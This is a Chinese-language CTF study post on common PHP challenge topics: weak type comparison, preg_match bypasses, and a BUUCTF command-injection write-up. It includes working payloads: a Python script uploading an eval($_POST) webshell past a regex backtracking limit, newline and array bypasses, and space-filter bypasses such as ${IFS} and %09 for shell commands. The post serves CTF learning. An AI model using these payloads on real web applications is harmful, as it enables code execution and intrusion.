0x00 CTF-PHP常见考点
1.php弱类型的比较
2.php断言问题
3.php读取文件问题
4.updatexml(),__wakeup ,preg_match等函数考点
5.sha1()函数与md5()知识点
6.异或注入绕过考点
7.源文件泄露
8.extract变量覆盖
9.strcmp漏洞........
10.RCE的命令执行绕过考点
总结的不是很全面,一些常见的考点,希望师傅们多多指点
看到网上不少师傅的总结,感觉不错值得学习。
下面取几个考点类型案例分析帮助理解,实际加强php类型考点多在靶场修炼才更深刻。
0x01 案例1:弱类型绕过案例
php存在=,==,===三种比较符号
第一个=相当于直接赋值的道理
第二个= = 会直接将对象转换为相同类在进行比较
第三个= = = 会判断两种类型对象是否相等,再作比较
<?php var_dump("admin"==0); //true 0=0 为真 var_dump("1admin"==1); //true 1=1 为正 var_dump("admin1"==1); //false 0 不等于 1 返回假 var_dump("admin1"===1); //类型不等 为假 var_dump("admin"===1); //类型不等 为假 var_dump("0e123456"=="0e4456789"); //true 所有0e默认类为取值0 0=0 为真 var_dump("0e123456"==="0e4456789"); //类型相等数值不等 为假 ?>
一段简短的代码审计题目帮助理解php弱类型
$num=$_GET['num']; if(!is_numeric($num)) // is_numeric () 函数用于检测变量是否为数字或数字字符串。 { echo $num; if($num==1) //num=1xxx 即可构成 1=1 返回为真取值flag echo 'flag{**********}'; }
payload:num=1abc 构成比较为1=1 为真输出flag
0x02 preg_match函数绕过
首先了解preg_match函数作用:用于执行一个正则表达式匹配。赛题中用来过滤函数
<?php //模式分隔符后的"i"标记这是一个大小写不敏感的搜索 if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。"; } else { echo "未发现匹配的字符串 php。"; } ?>
常见preg_match的绕过的三种方式:
(1)数组绕过,当传递参数为数组,会返回true
payload:传参:?a=[]=flag.php
(2)最大PCRE(正则查找匹配次数)突破,中文的回溯次数在100万次就会崩溃,构造exp突破次数即可返回truepauload:
import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://x.x.x.x:xx/index.php', files=files, allow_redirects=False) print(res.headers)
(3)"."换行符绕过,"."不会匹配换行符payload:
if (preg_match('/^.*(flag).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } //$json="\nflag" if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') { echo $flag; } //?a=flag%0a
参考了网上师傅总结,值得学习记录一下
0x03 案例2:RCE绕过案例
学习地址:BUUCTF(题目地址:ping ping ping)
题目页面:
发现flag地址:
空格被过滤:
绕过rce执行空格:php-rce绕过参考:https://zhuanlan.zhihu.com/p/391439312
符号被过滤
尝试绕过被过滤字符串flag:
空格绕过参考:
%09(url传递)(cat%09flag.php) ${IFS} $IFS$9 <>(cat<>/flag) <(cat</flag) {cat,flag}
总结:题目难度偏小 ,$IFS$2绕过空格加上拼接flag字符串,以;字符分割执行rce,获取flag。
RCE命令执行绕过总结网上很多,可以多加学习:命令执行(RCE)面对各种过滤,骚姿势绕过总结等
总结的文章对于爱好ctf的小白比较友好,希望有师傅们路过指点!